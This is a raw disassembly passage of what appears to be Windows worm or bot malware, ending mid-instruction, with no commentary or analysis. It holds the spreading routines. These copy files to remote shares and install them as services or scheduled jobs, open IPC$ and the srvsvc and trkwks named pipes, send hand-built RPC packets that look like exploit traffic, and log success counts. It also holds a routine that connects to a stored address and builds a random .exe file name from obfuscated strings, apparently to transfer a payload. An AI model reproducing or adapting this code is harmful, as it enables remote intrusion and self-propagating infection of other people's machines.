sub_429B9C cdq mov ecx, edi idiv ecx lea eax, [ebp+var_30C] push edx push offset dword_4439B4 push ebx push eax call sub_429B03 lea eax, [ebp+var_30C] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_E8] lea eax, [ebp+var_20C] push [ebp+arg_8] push esi push eax call sub_429B03 add esp, 34h lea eax, [ebp+var_20C] push 0 push eax lea eax, [ebp+var_410] push eax call dword_437064 ; CopyFileA test eax, eax mov [ebp+var_8], eax jnz short loc_405811 loc_4057FA: ; CODE XREF: sub_40541D+335j ; sub_40541D+34Dj inc [ebp+var_4] cmp [ebp+var_4], 38h jb loc_4056DF cmp [ebp+var_8], 0 jz loc_40594F loc_405811: ; CODE XREF: sub_40541D+326j ; sub_40541D+3DBj mov eax, [ebp+var_4] lea ecx, [ebp+var_30C] push ecx push [ebp+arg_4] mov eax, [ebp+eax*4+var_E8] mov [ebp+var_4], eax push [ebp+arg_0] push [ebp+arg_8] push eax call sub_4051EF add esp, 14h test eax, eax jz loc_4058FF mov ebx, offset aSSSSSSCreateds ; "%s %s: -> [%s\\%s, %s/%s] (CreatedServic"... loc_405844: ; CODE XREF: sub_40541D+4FCj cmp [ebp+arg_D0], 0 mov edi, offset dword_43A357 mov esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." jz short loc_4058A0 cmp [ebp+arg_C8], 0 jnz short loc_4058A9 push offset byte_454A54 push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax mov eax, offset aBlank ; "(Blank)" jz short loc_40587A mov eax, [ebp+arg_4] loc_40587A: ; CODE XREF: sub_40541D+458j push eax mov eax, [ebp+arg_C0] push [ebp+arg_0] shl eax, 6 push [ebp+var_4] add eax, edi push [ebp+arg_8] push eax push esi push ebx push [ebp+arg_C] push [ebp+arg_10] call sub_41CE4A add esp, 24h loc_4058A0: ; CODE XREF: sub_40541D+438j cmp [ebp+arg_C8], 0 jz short loc_4058E9 loc_4058A9: ; CODE XREF: sub_40541D+441j push offset byte_454A54 push [ebp+arg_4] call dword_437178 ; lstrcmpiA test eax, eax mov eax, offset aBlank ; "(Blank)" jz short loc_4058C3 mov eax, [ebp+arg_4] loc_4058C3: ; CODE XREF: sub_40541D+4A1j push eax mov eax, [ebp+arg_C0] push [ebp+arg_0] shl eax, 6 push [ebp+var_4] add eax, edi push [ebp+arg_8] push eax push esi push ebx push [ebp+arg_C] push [ebp+arg_10] call sub_41CDD4 add esp, 24h loc_4058E9: ; CODE XREF: sub_40541D+48Aj mov eax, [ebp+arg_C0] xor edi, edi shl eax, 6 lea eax, dword_43A380[eax] inc dword ptr [eax] inc edi jmp short loc_405951 ; --------------------------------------------------------------------------- loc_4058FF: ; CODE XREF: sub_40541D+41Cj lea eax, [ebp+var_30C] push eax push [ebp+arg_8] call sub_40535C pop ecx test eax, eax pop ecx jz short loc_40591E mov ebx, offset aSSSSSSNetsched ; "%s %s: -> [%s\\%s, %s/%s] (NetSchedJobAd"... jmp loc_405844 ; --------------------------------------------------------------------------- loc_40591E: ; CODE XREF: sub_40541D+4F5j lea eax, [ebp+var_20C] push eax call dword_43706C ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_405942 lea eax, [ebp+var_20C] push 80h push eax call dword_437068 ; SetFileAttributesA loc_405942: ; CODE XREF: sub_40541D+511j lea eax, [ebp+var_20C] push eax call dword_437060 ; DeleteFileA loc_40594F: ; CODE XREF: sub_40541D+3EEj xor edi, edi loc_405951: ; CODE XREF: sub_40541D+5Aj ; sub_40541D+4E0j push 1 push 1 push [ebp+arg_8] call dword_456FB0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40541D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405965 proc near ; CODE XREF: sub_4059BF+137p ; sub_4059BF+1B4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp cmp off_43CE08, 0 push ebx push esi push edi jz short loc_4059B3 mov eax, offset off_43CE08 mov ebx, eax loc_40597B: ; CODE XREF: sub_405965+4Cj sub esp, 0C4h lea esi, [ebp+arg_10] push 31h pop ecx mov edi, esp push [ebp+arg_C] rep movsd push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] push [ebp+arg_0] call sub_40541D add esp, 0D8h cmp eax, 1 jz short loc_4059BA add ebx, 4 mov eax, ebx cmp dword ptr [ebx], 0 jnz short loc_40597B loc_4059B3: ; CODE XREF: sub_405965+Dj xor eax, eax loc_4059B5: ; CODE XREF: sub_405965+58j pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4059BA: ; CODE XREF: sub_405965+42j xor eax, eax inc eax jmp short loc_4059B5 sub_405965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059BF proc near ; CODE XREF: sub_406D7F+366p var_62C = byte ptr -62Ch var_244 = byte ptr -244h var_118 = byte ptr -118h var_50 = byte ptr -50h var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = byte ptr -30h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 62Ch push ebx push esi lea eax, [ebp+arg_8] push edi push eax lea eax, [ebp+var_30] xor ebx, ebx push offset aS_0 ; "\\\\%s" push eax mov [ebp+var_4], ebx mov [ebp+var_14], ebx mov [ebp+var_1C], ebx mov [ebp+var_18], ebx call sub_429B03 add esp, 0Ch lea eax, [ebp+var_62C] push 3E8h push eax lea eax, [ebp+var_30] push 0FFFFFFFFh push eax push ebx push ebx call dword_437184 ; MultiByteToWideChar lea eax, [ebp+var_30] mov [ebp+var_40], ebx push eax lea eax, [ebp+var_118] push offset aSIpc ; "%s\\IPC$" push eax mov [ebp+var_34], ebx mov [ebp+var_4C], ebx call sub_429B03 lea eax, [ebp+var_118] add esp, 0Ch mov [ebp+var_3C], eax mov eax, offset byte_454A54 push ebx push eax push eax lea eax, [ebp+var_50] push eax call dword_457000 test eax, eax jz short loc_405A5F push 1 lea eax, [ebp+var_118] push ebx push eax call dword_456FB0 xor eax, eax jmp loc_405B93 ; --------------------------------------------------------------------------- loc_405A5F: ; CODE XREF: sub_4059BF+87j ; sub_4059BF+16Ej lea eax, [ebp+var_18] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 lea eax, [ebp+var_62C] push ebx push eax call dword_456E60 mov [ebp+var_C], eax push 1 lea eax, [ebp+var_118] push ebx push eax call dword_456FB0 cmp [ebp+var_C], ebx jz short loc_405AA2 cmp [ebp+var_C], 0EAh jnz short loc_405B15 loc_405AA2: ; CODE XREF: sub_4059BF+D8j mov eax, [ebp+var_4] cmp eax, ebx mov [ebp+var_10], eax jz short loc_405B26 cmp [ebp+var_14], ebx mov [ebp+var_8], ebx jbe short loc_405B15 loc_405AB4: ; CODE XREF: sub_4059BF+154j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_405B15 push ebx push ebx lea ecx, [ebp+var_244] push 12Ch push ecx push 0FFFFFFFFh push dword ptr [eax] push ebx push ebx call dword_437074 ; WideCharToMultiByte sub esp, 0C4h lea eax, [ebp+var_30] lea esi, [ebp+arg_8] push 31h pop ecx mov edi, esp push [ebp+arg_4] rep movsd push [ebp+arg_0] push eax lea eax, [ebp+var_244] push eax call sub_405965 add esp, 0D4h cmp eax, 1 jz short loc_405B15 add [ebp+var_10], 4 inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jb short loc_405AB4 loc_405B15: ; CODE XREF: sub_4059BF+E1j ; sub_4059BF+F3j ... cmp [ebp+var_4], ebx jz short loc_405B26 push [ebp+var_4] call dword_456FE0 mov [ebp+var_4], ebx loc_405B26: ; CODE XREF: sub_4059BF+EBj ; sub_4059BF+159j cmp [ebp+var_C], 0EAh jz loc_405A5F cmp [ebp+var_4], ebx jz short loc_405B41 push [ebp+var_4] call dword_456FE0 loc_405B41: ; CODE XREF: sub_4059BF+177j cmp [ebp+var_C], 5 jnz short loc_405B90 cmp off_43CBE8, ebx jz short loc_405B90 mov eax, offset off_43CBE8 mov [ebp+var_8], eax loc_405B57: ; CODE XREF: sub_4059BF+1CFj sub esp, 0C4h lea esi, [ebp+arg_8] push 31h pop ecx mov edi, esp push [ebp+arg_4] rep movsd push [ebp+arg_0] lea ecx, [ebp+var_30] push ecx push dword ptr [eax] call sub_405965 add esp, 0D4h cmp eax, 1 jz short loc_405B90 mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax cmp [eax], ebx jnz short loc_405B57 loc_405B90: ; CODE XREF: sub_4059BF+186j ; sub_4059BF+18Ej ... xor eax, eax inc eax loc_405B93: ; CODE XREF: sub_4059BF+9Bj pop edi pop esi pop ebx leave retn sub_4059BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_405B98 proc near ; DATA XREF: .text:0043A004o jmp $+5 sub_405B98 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405B9D proc near mov eax, dword_43E0C8 add eax, 6 mov dword_455394, eax retn sub_405B9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BAB proc near ; CODE XREF: sub_405BAB+D0p ; sub_405C99+5E4p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_405BBF or [ebp+arg_7], 1 jmp short loc_405BC3 ; --------------------------------------------------------------------------- loc_405BBF: ; CODE XREF: sub_405BAB+Cj and [ebp+arg_7], 0FEh loc_405BC3: ; CODE XREF: sub_405BAB+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_405BE7 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_405BF9 ; --------------------------------------------------------------------------- loc_405BE7: ; CODE XREF: sub_405BAB+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_405BF9: ; CODE XREF: sub_405BAB+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_4297B8 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_405C92 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_429420 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_437078 ; WriteFile test eax, eax jz short loc_405C89 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_405C89 push [ebp+arg_20] call sub_4298F2 cmp [ebp+arg_2B], 0 pop ecx jz short loc_405C85 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_405BAB add esp, 2Ch jmp short loc_405C94 ; --------------------------------------------------------------------------- loc_405C85: ; CODE XREF: sub_405BAB+B3j mov al, 1 jmp short loc_405C94 ; --------------------------------------------------------------------------- loc_405C89: ; CODE XREF: sub_405BAB+9Cj ; sub_405BAB+A4j push [ebp+arg_20] call sub_4298F2 pop ecx loc_405C92: ; CODE XREF: sub_405BAB+61j xor al, al loc_405C94: ; CODE XREF: sub_405BAB+D8j ; sub_405BAB+DCj pop edi pop esi pop ebx leave retn sub_405BAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C99 proc near ; CODE XREF: sub_4063C0+4Fp var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh var_20DC = byte ptr -20DCh var_DC = byte ptr -0DCh var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_D4 = dword ptr -0D4h var_D0 = word ptr -0D0h var_CE = word ptr -0CEh var_CC = dword ptr -0CCh var_C8 = word ptr -0C8h var_C6 = word ptr -0C6h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = word ptr -0BCh var_BA = byte ptr -0BAh var_B8 = byte ptr -0B8h var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = qword ptr -68h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_B4 = dword ptr 0BCh arg_BC = dword ptr 0C4h arg_C4 = dword ptr 0CCh arg_CC = dword ptr 0D4h push ebp mov ebp, esp mov eax, 60DCh call sub_429B60 mov eax, [ebp+arg_CC] push ebx push esi xor ebx, ebx lea esi, [eax+eax*4] push edi shl esi, 2 cmp byte_43E0B0[esi], bl jz loc_405E05 lea eax, [ebp+arg_8] push offset dword_43AB8C push eax call sub_42A8C0 pop ecx mov edi, 2000h test eax, eax pop ecx jz short loc_405D21 lea eax, [ebp+arg_8] push eax push offset aSIpc_0 ; "\\\\%s\\IPC$" lea eax, [ebp+var_20DC] push edi push eax call sub_429BBE push 20h lea eax, [ebp+var_90] push ebx push eax call sub_429760 lea eax, [ebp+var_20DC] add esp, 1Ch mov [ebp+var_7C], eax mov eax, offset byte_454A54 push ebx push eax push eax lea eax, [ebp+var_90] push eax call sub_4290C4 loc_405D21: ; CODE XREF: sub_405C99+41j lea eax, [ebp+arg_8] push eax push offset aSPipeTrkwks ; "\\\\%s\\pipe\\trkwks" lea eax, [ebp+var_40DC] push edi push eax call sub_429BBE add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_CC], eax jnz loc_405E0A lea eax, [ebp+arg_8] push offset dword_43AB8C push eax call sub_42A8C0 pop ecx test eax, eax pop ecx jz short loc_405DBF lea eax, [ebp+arg_8] push eax push offset aSIpc_0 ; "\\\\%s\\IPC$" lea eax, [ebp+var_20DC] push edi push eax call sub_429BBE push 20h lea eax, [ebp+var_90] push ebx push eax call sub_429760 lea eax, [ebp+var_20DC] add esp, 1Ch mov [ebp+var_7C], eax mov eax, offset byte_454A54 push ebx push eax push eax lea eax, [ebp+var_90] push eax call sub_4290C4 loc_405DBF: ; CODE XREF: sub_405C99+DFj lea eax, [ebp+arg_8] push eax push offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc" lea eax, [ebp+var_40DC] push edi push eax call sub_429BBE add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_CC], eax jnz short loc_405E0A jmp loc_4063B9 ; --------------------------------------------------------------------------- loc_405E05: ; CODE XREF: sub_405C99+24j mov edi, 2000h loc_405E0A: ; CODE XREF: sub_405C99+C7j ; sub_405C99+165j cmp byte_43E0B1[esi], bl jz loc_405EB4 lea eax, [ebp+arg_8] push offset dword_43AB8C push eax call sub_42A8C0 pop ecx test eax, eax pop ecx jz short loc_405E6F lea eax, [ebp+arg_8] push eax push offset aSIpc_0 ; "\\\\%s\\IPC$" lea eax, [ebp+var_20DC] push edi push eax call sub_429BBE push 20h lea eax, [ebp+var_90] push ebx push eax call sub_429760 lea eax, [ebp+var_20DC] add esp, 1Ch mov [ebp+var_7C], eax mov eax, offset byte_454A54 push ebx push eax push eax lea eax, [ebp+var_90] push eax call sub_4290C4 loc_405E6F: ; CODE XREF: sub_405C99+18Fj lea eax, [ebp+arg_8] push eax push offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc" lea eax, [ebp+var_40DC] push edi push eax call sub_429BBE add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_43705C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_CC], eax jz loc_4063B9 loc_405EB4: ; CODE XREF: sub_405C99+177j push 48h lea eax, [ebp+var_D8] push ebx push eax call sub_429760 push 10h mov [ebp+var_D8], 5 pop eax mov [ebp+var_D7], bl mov [ebp+var_D4], eax push eax lea eax, [ebp+var_B8] push offset dword_43E170 push eax mov [ebp+var_D6], 0Bh mov [ebp+var_D5], 3 mov [ebp+var_D0], 48h mov [ebp+var_CE], bx mov [ebp+var_CC], ebx mov [ebp+var_C8], 10B8h mov [ebp+var_C6], 10B8h mov [ebp+var_C4], ebx mov [ebp+var_C0], 1 mov [ebp+var_BC], bx mov [ebp+var_BA], 1 call sub_429420 push 10h lea eax, [ebp+var_A4] push offset dword_43E15C push eax mov [ebp+var_A8], 3 call sub_429420 add esp, 24h lea eax, [ebp+var_DC] mov [ebp+var_94], 2 push ebx push eax lea eax, [ebp+var_D8] push 48h push eax push [ebp+arg_CC] call dword_437078 ; WriteFile test eax, eax jz loc_406058 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push edi push eax push [ebp+arg_CC] call dword_437084 ; ReadFile push ebx call sub_42A7D5 push eax call sub_429B8F push 14h lea eax, [ebp+var_70] push 41h push eax call sub_429760 push 1Ch lea eax, [ebp+var_30] push 41h push eax call sub_429760 add esp, 20h call sub_429B9C mov [ebp+var_70], eax xor eax, eax inc eax cmp byte_43E0B0[esi], bl mov dword ptr [ebp+var_68+4], eax mov dword ptr [ebp+var_68], ebx mov [ebp+var_6C], eax mov [ebp+var_60], bx jz short loc_405FF9 push 4 push offset dword_4553A4 jmp short loc_40600B ; --------------------------------------------------------------------------- loc_405FF9: ; CODE XREF: sub_405C99+355j cmp byte_43E0B1[esi], bl jz short loc_406020 push 2 pop eax push 4 push offset loc_43E154 loc_40600B: ; CODE XREF: sub_405C99+35Ej mov [ebp+var_2C], eax mov [ebp+var_24], eax lea eax, [ebp+var_20] mov [ebp+var_28], ebx push eax call sub_429420 add esp, 0Ch loc_406020: ; CODE XREF: sub_405C99+366j call sub_429B9C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call sub_429B9C cdq idiv edi mov eax, dword_43E0A4[esi] mov [ebp+var_18], ebx push eax mov [ebp+var_4], eax inc edx mov [ebp+var_1C], edx call sub_4297B8 mov edi, eax pop ecx cmp edi, ebx jnz short loc_406069 loc_406058: ; CODE XREF: sub_405C99+2EFj push [ebp+arg_CC] call dword_437044 ; CloseHandle jmp loc_4063B9 ; --------------------------------------------------------------------------- loc_406069: ; CODE XREF: sub_405C99+3BDj mov eax, [ebp+var_4] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_429760 mov eax, [ebp+var_4] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_429760 mov eax, dword_43E0AC[esi] push 7 add eax, edi push offset dword_43E098 push eax mov [ebp-8], eax call sub_429420 push dword_43E0CC mov eax, [ebp-8] add eax, 7 push offset dword_43A8E8 push eax call sub_429420 mov eax, dword_43E0A8[esi] add esp, 30h cmp byte_43E0B0[esi], bl mov [ebp-8], eax jz short loc_40611B push 4 add eax, edi push offset dword_455394 push eax call sub_429420 add dword ptr [ebp-8], 0Ch mov esi, offset dword_43E0C8 mov eax, [ebp-8] push 4 add eax, edi push esi push eax call sub_429420 mov eax, [ebp-8] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp-8], eax call sub_429420 mov eax, [ebp-8] push 4 add eax, 0Ch push esi push eax call sub_429420 add esp, 30h jmp short loc_40614B ; --------------------------------------------------------------------------- loc_40611B: ; CODE XREF: sub_405C99+433j cmp byte_43E0B1[esi], bl jz short loc_40614B add eax, edi mov dword ptr [ebp+var_10], 10h mov [ebp-8], eax mov esi, offset dword_43E0C8 loc_406134: ; CODE XREF: sub_405C99+4B0j push 4 push esi push dword ptr [ebp-8] call sub_429420 add dword ptr [ebp-8], 4 add esp, 0Ch dec dword ptr [ebp+var_10] jnz short loc_406134 loc_40614B: ; CODE XREF: sub_405C99+480j ; sub_405C99+488j mov eax, [ebp+var_4] add eax, 42h push eax call sub_4297B8 mov esi, eax pop ecx cmp esi, ebx mov dword ptr [ebp+var_10], esi jnz short loc_406179 push [ebp+arg_CC] call dword_437044 ; CloseHandle push edi call sub_4298F2 pop ecx jmp loc_4063B9 ; --------------------------------------------------------------------------- loc_406179: ; CODE XREF: sub_405C99+4C6j mov eax, [ebp+var_4] add eax, 42h push eax push ebx ; double push esi call sub_429760 lea eax, [ebp+var_70] push 14h push eax push esi call sub_429420 mov eax, [ebp+var_4] mov [ebp-8], ebx mov dword ptr [ebp+var_10+4], eax add esp, 10h fild [ebp+var_10+4] fmul flt_437300 fstp [esp+10h+var_10] call sub_42A706 call sub_42A9E0 push [ebp+var_4] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call sub_429420 mov eax, [ebp+var_4] add esp, 14h add eax, 20h test al, 3 mov [ebp-8], eax jz short loc_4061E3 loc_4061DB: ; CODE XREF: sub_405C99+545j inc eax test al, 3 jnz short loc_4061DB mov [ebp-8], eax loc_4061E3: ; CODE XREF: sub_405C99+540j lea ecx, [ebp+var_30] push 1Ch add eax, esi push ecx push eax call sub_429420 add dword ptr [ebp-8], 1Ch push edi call sub_4298F2 push 18h lea eax, [ebp+var_48] push ebx push eax call sub_429760 push 14h lea eax, [ebp+var_5C] push ebx push eax mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call sub_429760 add esp, 28h push ebx push ebx push 1 push ebx call dword_437080 ; CreateEventA mov [ebp+var_4C], eax mov [ebp+var_4], ebx jmp short loc_406252 ; --------------------------------------------------------------------------- loc_40624F: ; CODE XREF: sub_405C99+5F7j ; sub_405C99+63Ej mov esi, dword ptr [ebp+var_10] loc_406252: ; CODE XREF: sub_405C99+5B4j cmp [ebp+var_4], 2 jge loc_406390 push 1 push 10B8h push dword ptr [ebp-8] inc [ebp+var_4] push esi lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_CC] rep movsd call sub_405BAB add esp, 2Ch test al, al jz loc_40638D cmp [ebp+var_4C], ebx jz short loc_40624F lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+arg_CC] call dword_437084 ; ReadFile test eax, eax jnz short loc_4062C7 call dword_437170 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_4063B9 loc_4062C7: ; CODE XREF: sub_405C99+61Bj push 64h push [ebp+var_4C] call dword_43707C ; WaitForSingleObject cmp eax, 102h jnz loc_40624F push 7D0h call dword_437190 ; Sleep movzx eax, word_44399E push eax lea esi, [ebp+arg_8] sub esp, 0C4h push 31h pop ecx mov edi, esp rep movsd call sub_401B6E mov edx, [ebp+arg_B4] add esp, 0C8h mov eax, edx mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." shl eax, 6 mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)" lea ecx, dword_43A380[eax] inc dword ptr [ecx] cmp [ebp+arg_C4], ebx mov ecx, [ecx] jz short loc_40635C cmp [ebp+arg_BC], ebx jnz short loc_406364 push ecx lea ecx, [ebp+arg_8] lea eax, dword_43A357[eax] push ecx push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A mov edx, [ebp+arg_B4] add esp, 1Ch loc_40635C: ; CODE XREF: sub_405C99+697j cmp [ebp+arg_BC], ebx jz short loc_406388 loc_406364: ; CODE XREF: sub_405C99+69Fj shl edx, 6 lea eax, [ebp+arg_8] push dword_43A380[edx] push eax lea eax, dword_43A357[edx] push eax push edi push esi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch loc_406388: ; CODE XREF: sub_405C99+6C9j xor eax, eax inc eax jmp short loc_4063BB ; --------------------------------------------------------------------------- loc_40638D: ; CODE XREF: sub_405C99+5EEj mov esi, dword ptr [ebp+var_10] loc_406390: ; CODE XREF: sub_405C99+5BDj lea eax, [ebp+arg_8] push eax call sub_401E9E mov edi, dword_437044 pop ecx push [ebp+arg_CC] call edi ; dword_437044 push esi call sub_4298F2 cmp [ebp+var_4C], ebx pop ecx jz short loc_4063B9 push [ebp+var_4C] call edi ; dword_437044 loc_4063B9: ; CODE XREF: sub_405C99+167j ; sub_405C99+215j ... xor eax, eax loc_4063BB: ; CODE XREF: sub_405C99+6F2j pop edi pop esi pop ebx leave retn sub_405C99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063C0 proc near ; CODE XREF: sub_406D7F+46Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+arg_8] push ebx push eax call sub_404525 pop ecx test eax, eax pop ecx jnz short loc_4063E6 lea eax, [ebp+arg_8] push 5 push eax call sub_404525 pop ecx pop ecx loc_4063E6: ; CODE XREF: sub_4063C0+17j cmp eax, ebx jnz short loc_4063EE loc_4063EA: ; CODE XREF: sub_4063C0+31j push 0 jmp short loc_4063F9 ; --------------------------------------------------------------------------- loc_4063EE: ; CODE XREF: sub_4063C0+28j cmp eax, 2 jz short loc_4063EA cmp eax, 3 jnz short loc_406422 push ebx loc_4063F9: ; CODE XREF: sub_4063C0+2Cj sub esp, 0C4h lea esi, [ebp+arg_8] push 31h pop ecx mov edi, esp push [ebp+arg_4] rep movsd push [ebp+arg_0] call sub_405C99 add esp, 0D0h test eax, eax jz short loc_406422 mov eax, ebx jmp short loc_406424 ; --------------------------------------------------------------------------- loc_406422: ; CODE XREF: sub_4063C0+36j ; sub_4063C0+5Cj xor eax, eax loc_406424: ; CODE XREF: sub_4063C0+60j pop edi pop esi pop ebx pop ebp retn sub_4063C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406429 proc near ; DATA XREF: sub_4066E2+13Co var_6A0 = byte ptr -6A0h var_2A0 = byte ptr -2A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6A0h mov eax, [ebp+arg_0] push ebx push esi xor esi, esi inc esi push edi mov [eax+0BCh], esi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_429760 add esp, 0Ch mov [ebp+var_10], 2 push dword_454F60 call dword_456F7C ; inet_addr mov [ebp+var_C], eax mov ax, word_44399E push eax call dword_456F38 ; ntohs push ebx push esi push 2 mov [ebp+var_E], ax call dword_456FD0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_4066B1 lea eax, [ebp+var_10] push 10h push eax push edi call dword_456EBC ; connect cmp eax, 0FFFFFFFFh jz loc_4066B1 push ebx lea eax, [ebp+var_6A0] push 400h push eax push edi call dword_456F58 ; recv call sub_429B9C push 9 pop esi cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq mov ecx, esi idiv ecx push edx call sub_429B9C cdq idiv esi lea eax, [ebp+var_2A0] push edx push offset dword_4439B4 push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_429B03 add esp, 20h cmp dword_456DA8, ebx jnz loc_4065BD push dword_454F60 call sub_41E4C1 test eax, eax pop ecx mov [ebp+arg_0], offset dword_457CF8 jnz short loc_406532 mov [ebp+arg_0], offset dword_457C40 loc_406532: ; CODE XREF: sub_406429+100j lea eax, [ebp+var_2A0] push eax push offset aAqq27_7qqv10 ; "AQQ27.7qQv10" call sub_401AF0 push eax push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0" call sub_401AF0 push eax mov esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/" push offset aLvk_hHddio0 ; "Lvk.H/hddio0" push esi call sub_401AF0 push eax lea eax, [ebp+var_2A0] push eax push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C." push esi call sub_401AF0 push eax call sub_401A77 push eax call sub_401A77 push eax push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0" push esi call 